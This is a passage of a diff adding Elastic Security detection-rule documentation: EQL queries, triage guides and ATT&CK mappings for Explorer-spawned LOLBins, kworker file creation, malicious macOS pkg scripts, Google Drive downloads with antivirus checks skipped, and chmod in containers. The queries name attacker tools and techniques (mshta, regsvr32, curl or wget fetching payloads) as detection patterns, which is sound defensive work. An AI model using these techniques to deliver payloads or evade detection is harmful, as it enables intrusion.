Process + +Identifies a suspicious Windows explorer child process. Explorer.exe can be abused to launch malicious scripts or executables from a trusted parent process. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.process-* +* winlogbeat-* +* logs-windows.sysmon_operational-* +* endgame-* +* logs-m365_defender.event-* +* logs-sentinel_one_cloud_funnel.* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Initial Access +* Tactic: Defense Evasion +* Tactic: Execution +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: Sysmon +* Data Source: Microsoft Defender for Endpoint +* Data Source: SentinelOne +* Resources: Investigation Guide + +*Version*: 313 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Suspicious Explorer Child Process* + + +Windows Explorer, a core component of the Windows OS, manages file and folder navigation. Adversaries exploit its trusted status to launch malicious scripts or executables, often using DCOM to start processes like PowerShell or cmd.exe. The detection rule identifies such anomalies by monitoring child processes of Explorer with specific characteristics, excluding known benign activities, to flag potential threats. + + +*Possible investigation steps* + + +- Review the process details to confirm the suspicious child process was indeed started by explorer.exe with the specific parent arguments indicating DCOM usage, such as "-Embedding". +- Check the process command line arguments and execution context to identify any potentially malicious scripts or commands being executed by the child process. +- Investigate the parent process explorer.exe to determine if it was started by a legitimate user action or if there are signs of compromise, such as unusual user activity or recent phishing attempts. +- Correlate the event with other security logs or alerts from data sources like Microsoft Defender for Endpoint or Sysmon to identify any related suspicious activities or patterns. +- Examine the network activity associated with the suspicious process to detect any unauthorized data exfiltration or communication with known malicious IP addresses. +- Assess the system for any additional indicators of compromise, such as unexpected changes in system files or registry keys, which might suggest a broader attack. + + +*False positive analysis* + + +- Legitimate software installations or updates may trigger the rule when they use scripts or executables like PowerShell or cmd.exe. Users can create exceptions for known software update processes by identifying their specific command-line arguments or parent process details. +- System administrators often use scripts for maintenance tasks that might be flagged by this rule. To prevent false positives, administrators should document and exclude these routine scripts by specifying their unique process arguments or execution times. +- Some enterprise applications may use DCOM to launch processes for legitimate purposes. Users should identify these applications and exclude their specific process signatures or parent-child process relationships from the rule. +- Automated testing environments might execute scripts or commands that resemble suspicious activity. Users can mitigate false positives by excluding processes that are part of known testing frameworks or environments. +- Certain security tools or monitoring software may use similar techniques to gather system information. Users should verify and exclude these tools by confirming their process names and execution patterns. + + +*Response and remediation* + + +- Isolate the affected system from the network to prevent further spread of the potential threat and to contain any malicious activity. +- Terminate the suspicious child process identified in the alert, such as cscript.exe, wscript.exe, powershell.exe, rundll32.exe, cmd.exe, mshta.exe, or regsvr32.exe, to stop any ongoing malicious actions. +- Conduct a thorough scan of the affected system using updated antivirus or endpoint detection and response (EDR) tools to identify and remove any additional malicious files or processes. +- Review and analyze the parent process explorer.exe and its command-line arguments to understand how the malicious process was initiated and to identify any potential persistence mechanisms. +- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to determine if the threat is part of a larger attack campaign. +- Implement additional monitoring and alerting for similar suspicious activities involving explorer.exe to enhance detection capabilities and prevent recurrence. +- Review and update endpoint security policies to restrict the execution of potentially malicious scripts or executables from explorer.exe, especially when initiated via DCOM. + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "windows" and event.type == "start" and + ( + process.name : ("cscript.exe", "wscript.exe", "powershell.exe", "rundll32.exe", "cmd.exe", "mshta.exe", "regsvr32.exe") or + ?process.pe.original_file_name in ("cscript.exe", "wscript.exe", "PowerShell.EXE", "RUNDLL32.EXE", "Cmd.Exe", "MSHTA.EXE", "REGSVR32.EXE") + ) and + /* Explorer started via DCOM */ + process.parent.name : "explorer.exe" and process.parent.args : "-Embedding" and + not process.parent.args: + ( + /* Noisy CLSID_SeparateSingleProcessExplorerHost Explorer COM Class IDs */ + "/factory,{5BD95610-9434-43C2-886C-57852CC8A120}", + "/factory,{ceff45ee-c862-41de-aee2-a022c81eda92}" + ) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Initial Access +** ID: TA0001 +** Reference URL: https://attack.mitre.org/tactics/TA0001/ +* Technique: +** Name: Phishing +** ID: T1566 +** Reference URL: https://attack.mitre.org/techniques/T1566/ +* Sub-technique: +** Name: Spearphishing Attachment +** ID: T1566.001 +** Reference URL: https://attack.mitre.org/techniques/T1566/001/ +* Sub-technique: +** Name: Spearphishing Link +** ID: T1566.002 +** Reference URL: https://attack.mitre.org/techniques/T1566/002/ +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Sub-technique: +** Name: PowerShell +** ID: T1059.001 +** Reference URL: https://attack.mitre.org/techniques/T1059/001/ +* Sub-technique: +** Name: Windows Command Shell +** ID: T1059.003 +** Reference URL: https://attack.mitre.org/techniques/T1059/003/ +* Sub-technique: +** Name: Visual Basic +** ID: T1059.005 +** Reference URL: https://attack.mitre.org/techniques/T1059/005/ +* Technique: +** Name: Inter-Process Communication +** ID: T1559 +** Reference URL: https://attack.mitre.org/techniques/T1559/ +* Sub-technique: +** Name: Component Object Model +** ID: T1559.001 +** Reference URL: https://attack.mitre.org/techniques/T1559/001/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: System Binary Proxy Execution +** ID: T1218 +** Reference URL: https://attack.mitre.org/techniques/T1218/ +* Sub-technique: +** Name: Mshta +** ID: T1218.005 +** Reference URL: https://attack.mitre.org/techniques/T1218/005/ +* Sub-technique: +** Name: Regsvr32 +** ID: T1218.010 +** Reference URL: https://attack.mitre.org/techniques/T1218/010/ +* Sub-technique: +** Name: Rundll32 +** ID: T1218.011 +** Reference URL: https://attack.mitre.org/techniques/T1218/011/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-suspicious-file-creation-via-kworker.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-suspicious-file-creation-via-kworker.asciidoc new file mode 100644 index 0000000000..622a3e903f --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-suspicious-file-creation-via-kworker.asciidoc @@ -0,0 +1,211 @@ +[[prebuilt-rule-8-19-20-suspicious-file-creation-via-kworker]] +=== Suspicious File Creation via Kworker + +This rule monitors for a file creation event originating from a kworker parent process. kworker, or kernel worker, processes are part of the kernel's workqueue mechanism. They are responsible for executing work that has been scheduled to be done in kernel space, which might include tasks like handling interrupts, background activities, and other kernel-related tasks. Attackers may attempt to evade detection by masquerading as a kernel worker process. + +*Rule type*: eql + +*Rule indices*: + +* endgame-* +* logs-endpoint.events.file* +* logs-sentinel_one_cloud_funnel.* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Persistence +* Tactic: Defense Evasion +* Data Source: Elastic Defend +* Data Source: SentinelOne +* Data Source: Elastic Endgame +* Resources: Investigation Guide + +*Version*: 111 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Suspicious File Creation via Kworker* + + +Kworker, or kernel worker, processes are part of the kernel's workqueue mechanism. They are responsible for executing work that has been scheduled to be done in kernel space, which might include tasks like handling interrupts, background activities, and other kernel-related tasks. + +Attackers may attempt to evade detection by masquerading as a kernel worker process. + +This rule monitors for suspicious file creation events through the kworker process. This is not common, and could indicate malicious behaviour. + +> **Note**: +> This investigation guide uses the https://www.elastic.co/guide/en/security/current/invest-guide-run-osquery.html[Osquery Markdown Plugin] introduced in Elastic Stack version 8.5.0. Older Elastic Stack versions will display unrendered Markdown in this guide. +> This investigation guide uses https://www.elastic.co/guide/en/security/current/osquery-placeholder-fields.html[placeholder fields] to dynamically pass alert data into Osquery queries. Placeholder fields were introduced in Elastic Stack version 8.7.0. If you're using Elastic Stack version 8.6.0 or earlier, you'll need to manually adjust this investigation guide's queries to ensure they properly run. + + +*Possible Investigation Steps* + + +- Investigate the file that was created or modified through OSQuery. + - !{osquery{"label":"Osquery - Retrieve File Listing Information","query":"SELECT * FROM file WHERE path = {{file.path}}\n"}} + - !{osquery{"label":"Osquery - Retrieve Additional File Listing Information","query":"SELECT f.path, u.username AS file_owner, g.groupname AS group_owner, datetime(f.atime, 'unixepoch') AS\nfile_last_access_time, datetime(f.mtime, 'unixepoch') AS file_last_modified_time, datetime(f.ctime, 'unixepoch') AS\nfile_last_status_change_time, datetime(f.btime, 'unixepoch') AS file_created_time, f.size AS size_bytes FROM file f LEFT\nJOIN users u ON f.uid = u.uid LEFT JOIN groups g ON f.gid = g.gid WHERE path = {{file.path}}\n"}} +- Investigate the script execution chain (parent process tree) for unknown processes. Examine their executable files for prevalence and whether they are located in expected locations. + - !{osquery{"label":"Osquery - Retrieve Running Processes by User","query":"SELECT pid, username, name FROM processes p JOIN users u ON u.uid = p.uid ORDER BY username"}} +- Investigate other alerts associated with the user/host during the past 48 hours. +- Validate the activity is not related to planned patches, updates, network administrator activity, or legitimate software installations. +- Investigate whether the altered scripts call other malicious scripts elsewhere on the file system. + - If scripts or executables were dropped, retrieve the files and determine if they are malicious: + - Use a private sandboxed malware analysis system to perform analysis. + - Observe and collect information about the following activities: + - Attempts to contact external domains and addresses. + - Check if the domain is newly registered or unexpected. + - Check the reputation of the domain or IP address. + - File access, modification, and creation activities. + - Cron jobs, services and other persistence mechanisms. + - !{osquery{"label":"Osquery - Retrieve Crontab Information","query":"SELECT * FROM crontab"}} +- Investigate abnormal behaviors by the subject process/user such as network connections, file modifications, and any other spawned child processes. + - Investigate listening ports and open sockets to look for potential command and control traffic or data exfiltration. + - !{osquery{"label":"Osquery - Retrieve Listening Ports","query":"SELECT pid, address, port, socket, protocol, path FROM listening_ports"}} + - !{osquery{"label":"Osquery - Retrieve Open Sockets","query":"SELECT pid, family, remote_address, remote_port, socket, state FROM process_open_sockets"}} + - Identify the user account that performed the action, analyze it, and check whether it should perform this kind of action. + - !{osquery{"label":"Osquery - Retrieve Information for a Specific User","query":"SELECT * FROM users WHERE username = {{user.name}}"}} +- Investigate whether the user is currently logged in and active. + - !{osquery{"label":"Osquery - Investigate the Account Authentication Status","query":"SELECT * FROM logged_in_users WHERE user = {{user.name}}"}} + + +*False Positive Analysis* + + +- If this activity is related to new benign software installation activity, consider adding exceptions — preferably with a combination of user and command line conditions. +- If this activity is related to a system administrator that performed these actions for administrative purposes, consider adding exceptions for this specific administrator user account. +- Try to understand the context of the execution by thinking about the user, machine, or business purpose. A small number of endpoints, such as servers with unique software, might appear unusual but satisfy a specific business need. + + +*Related Rules* + + +- Suspicious Kworker UID Elevation - 7dfaaa17-425c-4fe7-bd36-83705fde7c2b +- Network Activity Detected via Kworker - 25d917c4-aa3c-4111-974c-286c0312ff95 + + +*Response and remediation* + + +- Initiate the incident response process based on the outcome of the triage. +- Isolate the involved host to prevent further post-compromise behavior. +- If the triage identified malware, search the environment for additional compromised hosts. + - Implement temporary network rules, procedures, and segmentation to contain the malware. + - Stop suspicious processes. + - Immediately block the identified indicators of compromise (IoCs). + - Inspect the affected systems for additional malware backdoors like reverse shells, reverse proxies, or droppers that attackers could use to reinfect the system. +- Investigate credential exposure on systems compromised or used by the attacker to ensure all compromised accounts are identified. Reset passwords for these accounts and other potentially compromised credentials, such as email, business systems, and web services. +- Run a full antimalware scan. This may reveal additional artifacts left in the system, persistence mechanisms, and malware components. +- Determine the initial vector abused by the attacker and take action to prevent reinfection through the same vector. +- Leverage the incident response data and logging to improve the mean time to detect (MTTD) and the mean time to respond (MTTR). + + +==== Setup + + + +*Setup* + + +This rule requires data coming in from Elastic Defend. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows +the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a Linux System:* + +- Go to the Kibana home page and click Add integrations. +- In the query bar, search for Elastic Defend and select the integration to see more details about it. +- Click Add Elastic Defend. +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either Traditional Endpoints or Cloud Workloads. +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest to select "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in New agent policy name. If other agent policies already exist, you can click the Existing hosts tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html[helper guide]. +- Click Save and Continue. +- To complete the integration, select Add Elastic Agent to your hosts and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +file where host.os.type == "linux" and event.action in ("creation", "file_create_event") and +process.name : "kworker*" and not ( + process.name : "kworker*kcryptd*" or + file.path like ( + "/var/log/*", "/var/crash/*", "/var/run/*", "/var/lib/systemd/coredump/*", "/var/spool/*", + "/var/lib/nfs/nfsdcltrack/main.sqlite-journal", "/proc/*/cwd/core.*", "/var/run/apport.lock", + "/var/spool/abrt/ccpp-*", "/var/lib/dynatrace/oneagent/*", "/var/lib/nfs*", "/run/user/*/.bubblewrap/*", + "/etc/localtime/*", "/proc/*/cwd/core.*", "/tmp/sh-thd.*", "/var/lib/apport/coredump/*", "/var/tmp/abrt/ccpp*" + ) +) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Boot or Logon Autostart Execution +** ID: T1547 +** Reference URL: https://attack.mitre.org/techniques/T1547/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Rootkit +** ID: T1014 +** Reference URL: https://attack.mitre.org/techniques/T1014/ +* Technique: +** Name: Masquerading +** ID: T1036 +** Reference URL: https://attack.mitre.org/techniques/T1036/ +* Sub-technique: +** Name: Match Legitimate Resource Name or Location +** ID: T1036.005 +** Reference URL: https://attack.mitre.org/techniques/T1036/005/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-suspicious-file-creation-via-pkg-install-script.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-suspicious-file-creation-via-pkg-install-script.asciidoc new file mode 100644 index 0000000000..e44241e5e4 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-suspicious-file-creation-via-pkg-install-script.asciidoc @@ -0,0 +1,143 @@ +[[prebuilt-rule-8-19-20-suspicious-file-creation-via-pkg-install-script]] +=== Suspicious File Creation via Pkg Install Script + +Detects when an installer package executes a pre or post install script that immediately copies a file to suspicious locations on the filesystem. This activity is not common and usually indicates a malicious package attempting to install persistence or establish a working directory for malware. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.process-* +* logs-endpoint.events.file-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://objective-see.org/blog/blog_0x51.html + +*Tags*: + +* Domain: Endpoint +* OS: macOS +* Use Case: Threat Detection +* Tactic: Persistence +* Data Source: Elastic Defend +* Resources: Investigation Guide + +*Version*: 2 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Suspicious File Creation via Pkg Install Script* + + +macOS installer packages (.pkg) can include pre-install and post-install scripts that execute with elevated privileges during installation. While legitimate software uses these scripts for proper setup, threat actors abuse this capability to deploy malware, establish persistence, or stage additional payloads under the guise of legitimate software installation. This detection rule identifies when pkg install scripts copy executables or scripts to suspicious locations outside standard installation directories. + + +*Possible investigation steps* + + +- Examine the process.args to identify the specific pkg install script path and determine which package triggered the alert. +- Review the file.path to understand where files were copied and assess whether the destination is a known malware staging location or persistence directory. +- Analyze the file.Ext.header_bytes to confirm the file type (Mach-O binary indicated by cffaedfe or cafebabe, or script files like .py, .sh, .js). +- Locate the original installer package if still available and examine its contents, including the preinstall and postinstall scripts using pkgutil --expand. +- Check the package's code signature and notarization status using pkgutil --check-signature and spctl --assess to determine if it passed Apple's security review. +- Review the download source or delivery mechanism for the installer package to understand how it reached the system. +- Search for the same package hash across other systems in the environment to identify potential widespread deployment. + + +*False positive analysis* + + +- Legitimate software installers may deploy helper tools or scripts to /usr/local/bin/ or other locations. Verify the package's origin and signing status. +- Development tools and frameworks may install additional components to various directories during setup. Confirm with development teams if installations were expected. +- Enterprise software deployment may use installer scripts that deploy files to custom locations. Review with IT operations to document expected installation patterns. +- Temporary files during complex installations may appear in /tmp/ or /var/folders/ briefly. These typically don't persist after installation completes. + + +*Response and remediation* + + +- Terminate any suspicious processes that were spawned by the malicious installer script. +- Remove the files that were copied to suspicious locations, including any persistence mechanisms like LaunchAgents or LaunchDaemons. +- Quarantine the original installer package for forensic analysis and submission to Apple for notarization revocation if appropriate. +- Review system logs for all actions taken during the malicious installation to identify the full scope of changes. +- Scan the system for additional malware components or persistence mechanisms that may have been deployed. +- Report the malicious package to Apple at reportaproblem.apple.com to request notarization revocation. +- Check other systems that may have installed the same package and remediate accordingly. +- Review endpoint security policies to prevent future execution of unsigned or revoked installer packages. + + +==== Rule query + + +[source, js] +---------------------------------- +sequence by process.entity_id with maxspan=30s + [process where host.os.type == "macos" and event.type == "start" and process.name in ("bash", "sh", "zsh") and + process.args like~ ("/tmp/PKInstallSandbox.*/Scripts/com.*/preinstall", + "/tmp/PKInstallSandbox.*/Scripts/*/postinstall") and + process.args like ("/Users/*", "/Volumes/*") and + not process.args like~ "/Users/*/Library/Caches/*"] + [file where host.os.type == "macos" and event.action != "deletion" and process.name in ("mv", "cp") and + (file.extension in ("py", "js", "sh", "scpt", "terminal", "tcl", "app", "pkg", "dmg", "command") or + file.Ext.header_bytes like~ ("cffaedfe*", "cafebabe*")) and + file.path like ("/private/etc/*", "/var/tmp/*", "/tmp/*", "/var/folders/*", "/Users/Shared/*", + "/Library/Graphics/*", "/Library/Containers/*", "/Users/*/Library/Containers/*", + "/Users/*/Library/Services/*", "/Users/*/Library/Preferences/*", "/var/root/*", + "/Library/WebServer/*", "/Library/Fonts/*", "/usr/local/bin/*") and + not file.name == "CodeResources"] + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Event Triggered Execution +** ID: T1546 +** Reference URL: https://attack.mitre.org/techniques/T1546/ +* Sub-technique: +** Name: Installer Packages +** ID: T1546.016 +** Reference URL: https://attack.mitre.org/techniques/T1546/016/ +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Sub-technique: +** Name: Unix Shell +** ID: T1059.004 +** Reference URL: https://attack.mitre.org/techniques/T1059/004/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-suspicious-file-downloaded-from-google-drive.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-suspicious-file-downloaded-from-google-drive.asciidoc new file mode 100644 index 0000000000..d596728bb5 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-suspicious-file-downloaded-from-google-drive.asciidoc @@ -0,0 +1,135 @@ +[[prebuilt-rule-8-19-20-suspicious-file-downloaded-from-google-drive]] +=== Suspicious File Downloaded from Google Drive + +Identifies suspicious file download activity from a Google Drive URL. This could indicate an attempt to deliver phishing payloads via a trusted webservice. + +*Rule type*: eql + +*Rule indices*: + +* auditbeat-* +* logs-endpoint* +* logs-system.security* +* winlogbeat-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://intelligence.abnormalsecurity.com/blog/google-drive-matanbuchus-malware + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* OS: Windows +* OS: macOS +* Use Case: Threat Detection +* Tactic: Command and Control +* Data Source: Windows Security Event Logs +* Resources: Investigation Guide + +*Version*: 9 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Suspicious File Downloaded from Google Drive* + + +Google Drive is a widely-used cloud storage service that allows users to store and share files. Adversaries may exploit its trusted nature to distribute malicious files, bypassing security measures by using download links with antivirus checks disabled. The detection rule identifies such activities by monitoring browser processes for specific Google Drive download patterns, flagging potential threats for further investigation. + + +*Possible investigation steps* + + +- Review the process command line details to confirm the presence of the Google Drive download URL with the "export=download" and "confirm=no_antivirus" parameters, which indicate an attempt to bypass antivirus checks. +- Identify the user account associated with the process to determine if the activity aligns with their typical behavior or if it appears suspicious. +- Check the file downloaded from the Google Drive URL for any known malicious signatures or behaviors using a reputable antivirus or malware analysis tool. +- Investigate the source of the download link to determine if it was shared via email, messaging, or another communication channel, and assess the legitimacy of the source. +- Analyze network logs to identify any additional suspicious activity or connections related to the IP address or domain associated with the download. +- Review historical data for any previous similar alerts or activities involving the same user or device to identify potential patterns or repeated attempts. + + +*False positive analysis* + + +- Legitimate file sharing activities from Google Drive may trigger alerts if users frequently download files for business purposes. To manage this, create exceptions for specific users or departments known to use Google Drive extensively for legitimate work. +- Automated scripts or tools that download files from Google Drive for regular data processing tasks might be flagged. Identify these scripts and whitelist their associated processes or command lines to prevent unnecessary alerts. +- Educational institutions or research organizations often share large datasets via Google Drive, which could be mistakenly flagged. Implement exceptions for known educational or research-related Google Drive URLs to reduce false positives. +- Internal IT or security teams may use Google Drive to distribute software updates or patches. Recognize these activities and exclude them by specifying trusted internal Google Drive links or user accounts. +- Collaboration with external partners who use Google Drive for file sharing can lead to false positives. Establish a list of trusted partners and their associated Google Drive URLs to minimize unnecessary alerts. + + +*Response and remediation* + + +- Immediately isolate the affected system from the network to prevent further spread of potential malware or unauthorized access. +- Quarantine the downloaded file and perform a detailed malware analysis using a sandbox environment to determine its behavior and potential impact. +- If malware is confirmed, initiate a full system scan using updated antivirus and anti-malware tools to identify and remove any additional threats. +- Review and analyze the process command line logs to identify any other suspicious activities or downloads that may have occurred concurrently. +- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to determine if additional systems are compromised. +- Implement network-level blocking of the specific Google Drive URL or domain if it is confirmed to be malicious, to prevent future access. +- Update endpoint detection and response (EDR) systems with indicators of compromise (IOCs) identified during the analysis to enhance detection of similar threats in the future. + +==== Rule query + + +[source, js] +---------------------------------- +process where + + /* common browser processes */ + event.action in ("exec", "fork", "start") and + + process.name : ("Microsoft Edge", "chrome.exe", "Google Chrome", "google-chrome-stable", + "google-chrome-beta", "google-chrome", "msedge.exe", "firefox.exe", "brave.exe", + "whale.exe", "browser.exe", "dragon.exe", "vivaldi.exe", "opera.exe", "firefox", + "powershell.exe", "curl", "curl.exe", "wget", "wget.exe") and + + /* Look for Google Drive download URL with AV flag skipping */ + (process.command_line : "*drive.google.com*" and process.command_line : "*export=download*" and process.command_line : "*confirm=no_antivirus*") + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Command and Control +** ID: TA0011 +** Reference URL: https://attack.mitre.org/tactics/TA0011/ +* Technique: +** Name: Web Service +** ID: T1102 +** Reference URL: https://attack.mitre.org/techniques/T1102/ +* Sub-technique: +** Name: One-Way Communication +** ID: T1102.003 +** Reference URL: https://attack.mitre.org/techniques/T1102/003/ +* Technique: +** Name: Ingress Tool Transfer +** ID: T1105 +** Reference URL: https://attack.mitre.org/techniques/T1105/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-suspicious-file-made-executable-via-chmod-inside-a-container.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-suspicious-file-made-executable-via-chmod-inside-a-container.asciidoc new file mode 100644 index 0000000000..d0c8db1ac0 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-suspicious-file-made-executable-via-chmod-inside-a-container.asciidoc @@ -0,0 +1,182 @@ +[[prebuilt-rule-8-19-20-suspicious-file-made-executable-via-chmod-inside-a-container]] +=== Suspicious File Made Executable via Chmod Inside A Container + +This rule detects when chmod or chown are used to add the execute permission to a file in a world-writeable directory, and inside of a container. Modifying file permissions to make a file executable could indicate malicious activity, as an attacker may attempt to run unauthorized or malicious code inside the container. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.process* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Container +* OS: Linux +* Use Case: Threat Detection +* Tactic: Execution +* Tactic: Defense Evasion +* Data Source: Elastic Defend +* Resources: Investigation Guide + +*Version*: 4 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Suspicious File Made Executable via Chmod Inside A Container* + + +Containers provide isolated environments for running applications, often on Linux systems. The `chmod` command is used to change file permissions, including making files executable. Adversaries may exploit this by altering permissions to execute unauthorized scripts or binaries, potentially leading to malicious activity. The detection rule identifies such actions by monitoring for `chmod` usage that grants execute permissions, focusing on specific permission patterns, and excluding benign cases. This helps in identifying potential threats where attackers attempt to execute unauthorized code within containers. + + +*Possible investigation steps* + + +- Examine the process arguments to determine the exact permissions that were set and identify the file that was made executable. +- Investigate the origin of the `chmod` command by reviewing the process tree to understand which parent process initiated it and whether it aligns with expected behavior. +- Check the user account or service account that executed the `chmod` command to assess if it has legitimate access and reason to modify file permissions. +- Analyze the file that was made executable to determine its contents and origin, checking for any signs of unauthorized or malicious code. +- Correlate this event with other logs or alerts from the same container to identify any patterns or additional suspicious activities that might indicate a broader attack. + + +*False positive analysis* + + +- Routine maintenance scripts or automated processes may use chmod to set execute permissions on files within containers. To handle these, identify and whitelist specific scripts or processes that are known to be safe and necessary for operations. +- Development environments often involve frequent changes to file permissions as developers test and deploy code. Consider excluding specific container IDs or paths associated with development environments to reduce noise. +- Some container orchestration tools might use chmod as part of their normal operation. Review the processes and arguments associated with these tools and create exceptions for known benign activities. +- System updates or package installations within containers might trigger this rule. Monitor and document regular update schedules and processes, and exclude these from triggering alerts if they are verified as non-threatening. +- If certain users or roles are responsible for legitimate permission changes, consider excluding their activities by user ID or role, ensuring that these exclusions are well-documented and reviewed regularly. + + +*Response and remediation* + + +- Immediately isolate the affected container to prevent further execution of unauthorized code. This can be done by stopping the container or disconnecting it from the network. +- Conduct a thorough review of the container's file system to identify any unauthorized or suspicious files that have been made executable. Remove or quarantine these files as necessary. +- Analyze the container's logs to trace the source of the `chmod` command and determine if there are any other indicators of compromise or related malicious activities. +- If the unauthorized execution is confirmed, assess the potential impact on the host system and other containers. Implement additional security measures, such as enhanced monitoring or network segmentation, to protect other assets. +- Escalate the incident to the security operations team for further investigation and to determine if the threat is part of a larger attack campaign. +- Review and update container security policies to prevent unauthorized permission changes, such as implementing stricter access controls and using security tools that enforce policy compliance. +- Enhance detection capabilities by configuring alerts for similar suspicious activities, ensuring that any future attempts to modify file permissions within containers are promptly identified and addressed. + +==== Setup + + + +*Setup* + + +This rule requires data coming in from Elastic Defend. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the 